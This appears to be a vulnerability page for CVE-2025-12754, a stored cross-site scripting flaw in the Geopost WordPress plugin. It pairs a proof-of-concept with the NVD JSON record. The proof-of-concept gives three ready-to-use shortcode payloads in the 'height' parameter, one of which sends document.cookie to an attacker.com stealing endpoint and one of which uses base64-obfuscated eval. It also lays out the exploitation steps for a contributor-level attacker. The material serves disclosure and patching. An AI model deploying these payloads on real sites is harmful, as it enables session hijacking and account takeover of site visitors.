CVE-2025-12754

// CVE-2025-12754 PoC - Stored XSS via height parameter // Author: Wordfence Security Team // Affected: Geopost plugin <= 1.2 // Method 1: Via WordPress Shortcode // Insert this shortcode in any WordPress post/page: [geopost height='100px" onload="alert(document.cookie)" style="background: red;'] // Method 2: More Obfuscated Variant [geopost height='100px><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] // Method 3: Event Handler Based [geopost height='100px onerror="eval(atob('YWxlcnQoJ1hTUydvbkVycm9yJyk='))'] // Exploitation Scenario: // 1. Attacker with Contributor role creates/edits a post // 2. Inserts malicious shortcode with XSS payload in height parameter // 3. Publishes the post // 4. Any user viewing this post will execute the injected JavaScript // 5. Attacker can steal session cookies, perform actions as victim, etc. // Vulnerable Code Location: // geopost.php line 15-20 (shortcode handler) // The code directly outputs $atts['height'] without sanitization: // echo '<div style="height: ' . $atts['height'] . ';"></div>';

{"cve": {"id": "CVE-2025-12754", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:50.250", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Geopost plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'height' parameter of the 'geopost' shortcode in all versions up to, and including, 1.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/geopost/tags/1.2/geopost.php#L15", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geopost/tags/1.2/geopost.php#L20", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4c38ca9a-895b-4d59-94c9-c7d5ba3b1b7d?source=cve", "source": "[email protected]"}]}}